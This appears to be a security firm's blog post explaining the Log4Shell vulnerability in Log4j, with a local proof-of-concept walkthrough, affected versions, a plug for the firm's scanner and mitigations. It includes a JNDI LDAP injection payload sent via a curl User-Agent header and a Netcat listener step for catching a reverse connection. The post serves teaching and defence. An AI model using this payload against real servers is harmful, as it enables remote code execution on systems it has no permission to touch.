You are currently viewing Log4Shell: The Log4j Vulnerability

Log4Shell: The Log4j Vulnerability

Hello all, Today, we’ll look at how a specially crafted string can lead to remote code execution (RCE), and how this vulnerability affects the majority of the internet. Let’s dive into the topic.

What is log4j?

Log4j is a logging framework written in java. Developers often use logs to figure out where a problem is occurring in the software. However, this framework has a vulnerability that allows an attacker to do a Remote Code Execution(RCE).

Who are all affected?

This framework is used by the majority of big tech companies. According to the sources, Minecraft, Apple iCloud, Steam, and a few others were impacted. Many Cybersecurity firms reported that mass scanning for this vulnerability is detected.

Proof of concept:

If you want to reproduce this vulnerability on your local machine, download this vulnerable app from Github.

Github link:

Step 1: clone the repository and enter into the directory

Step 2: Use the following command to build the vulnerable app in our local machine.

Step 3: Run the docker container using the below command.

Step 4: Now open a new terminal and start a Netcat listener. This listener will be used to get our reverse connection.

Step 5: Send a curl request to the server. Here we chose the ‘User-Agent’ field since the vulnerable app logs the value of ‘User-Agent’ using vulnerable log4j library. Hence ends up communicating to attacker’s server over LDAP protocol.

curl -H ‘User-Agent: ${jndi:ldap://}’ localhost:1334

Step 6: Now look at the Netcat listener, you will be able to see the received connection.

What just happened above:

The payload in the curl request triggers the log4j vulnerability in step-5, causing the server to send a request to the attacker’s server. This response contains a path to a remote java class file which is injected into the server process.

Other payloads:

The following are some of the other payloads that have been caught in the wild.

Am I at risk:

Versions from 2.10 to 2.14 of this framework are vulnerable. If you’re using any of the versions in between, you’re at risk.

How can i be secure:

Patches are already started to roll out. The vulnerability has been resolved in version 2.15, although it still requires Java 8. All of them can’t upgrade to java 8, as it may arise some conflicts in the codebase, so there is some other solution I have. DeTasecure has created an amazing tool to find out if you are vulnerable to log4shell vulnerability. While others are providing it as a paid service, DeTasecure came up with the idea of giving it as a “Free service”. Sounds interesting right!!!

Let’s see how we can access this tool.

How to use this tool?

Step 1: Click on the below link

Step 2: Enter the target URL

Step 3: Click the scan button and view the results

Easy peasy right!!

if you want to look at the code, you can click on the Github button.

How to mitigate:

Using the above tool you found that your organization is vulnerable to lg4j vulnerability. Now you must secure your organization, for which I have provided a list of possible mitigations.

  1. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  2. For newer versions from(2.10.0 – 2.14.0) update to v2.16.0, since version 2.15.0 has a patch, but it is vulnerable to DOS attack
  3. Create a firewall rule for log4shell payloads

These are all the possible log4j mitigation techniques available.

Apart from these mitigations, if you are still unsure and thinking that your organization is vulnerable, then feel free to reach us using the “Contact Us” button.

This Post Has One Comment

Leave a Reply